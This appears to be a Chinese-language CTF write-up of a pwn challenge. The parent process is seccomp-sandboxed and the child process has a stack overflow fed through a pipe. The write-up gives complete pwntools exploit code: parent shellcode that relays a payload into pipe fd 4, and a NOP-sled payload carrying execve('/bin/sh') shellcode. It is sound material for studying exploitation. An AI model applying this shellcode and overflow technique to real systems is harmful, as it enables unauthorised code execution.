非常好的题目
设计到的知识点
seccomp
他再fork之后执行的seccomp,所以可以看到子进程是没有沙箱保护的
他这里只允许了read 0号系统调用,write 1号系统调用,还有剩下两个是跟error和exit处理有关
大概的漏洞大家可以看明白,父进程可以执行任意代码,但有沙箱
子进程栈溢出,没沙箱,但是输入是从3pipe创建的描述符输入的,但我们正常是无法使用3描述符的,所以必须要shellcode里面写这部分
pipe
pipe这个函数会返回两个文件描述符,pipedes[0]负责read,pipedes[1]负责write,这里就是3负责read,4负责write,如果我们想要利用shellcode往子进程写内容,最开始我也是想直接read(0,buf,len),write(3,buf,len),但是会失败,我们换成read(0,buf,len),write(4,buf,len)就成功了
payload
父进程shellcode执行部分
buf=0x602200
ret_addr=buf+0x234
shellcode=f"""
mov rdi,0;
mov rdx,{len(payload)};#payload主要是子进程的shellcode
mov rsi,{buf}
mov rax,0;
syscall;#read(0,buf,len)
mov rdi,{ret_addr}
mov rax,rsp;
sub rax,0x200;
mov qword ptr [rdi],rax#这里就是把最后溢出的ret地址改成栈地址,这里-0x200就是可以根据父进程和子进程大概偏移估算,反正我们也是栈喷
mov rdi,4;
mov rax,1;
syscall;#write(4,buf,len)
start:
nop
jmp start#写个循环防止退出
"""
shellcode=asm(shellcode)
s(p8(len(shellcode)))
sleep(0.5)
s(shellcode)
sleep(0.5)
s(payload)#这里就是子进程的payload
it()
子进程payload
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out
sh=f"""
mov rax,{convert_str_asmencode("//bin/sh")}#防止有]x00
mov rdx,rsp;
sub dx,0x1008#这个随便往地址写入/bin/sh
mov qword ptr [rdx],rax
add dl,0x8
xor rsi,rsi
mov qword ptr [rdx],rsi;#加上\x00
sub dl,0x8
mov rdi,rdx;
xor rdx,rdx
xor rax,rax
mov al,0x3b
syscall
"""
sh=asm(sh)
payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)#这个ret_addr无所谓,反正也要被我们覆盖掉
payload=b"\x0e"+p32(len(payload_final))+payload_final
allpayload
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out
buf=0x602200
ret_addr=buf+0x234
sh=f"""
mov rax,{convert_str_asmencode("//bin/sh")}
mov rdx,rsp;
sub dx,0x1008
mov qword ptr [rdx],rax
add dl,0x8
xor rsi,rsi
mov qword ptr [rdx],rsi;
sub dl,0x8
mov rdi,rdx;
xor rdx,rdx
xor rax,rax
mov al,0x3b
syscall
"""
sh=asm(sh)
payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)
payload=b"\x0e"+p32(len(payload_final))+payload_final
shellcode=f"""
mov rdi,0;
mov rdx,{len(payload)};
mov rsi,{buf}
mov rax,0;
syscall;
mov rdi,{ret_addr}
mov rax,rsp;
sub rax,0x200;
mov qword ptr [rdi],rax
mov rdi,4;
mov rax,1;
syscall;
start:
nop
jmp start
"""
shellcode=asm(shellcode)
s(p8(len(shellcode)))
sleep(0.5)
s(shellcode)
sleep(0.5)
s(payload)
it()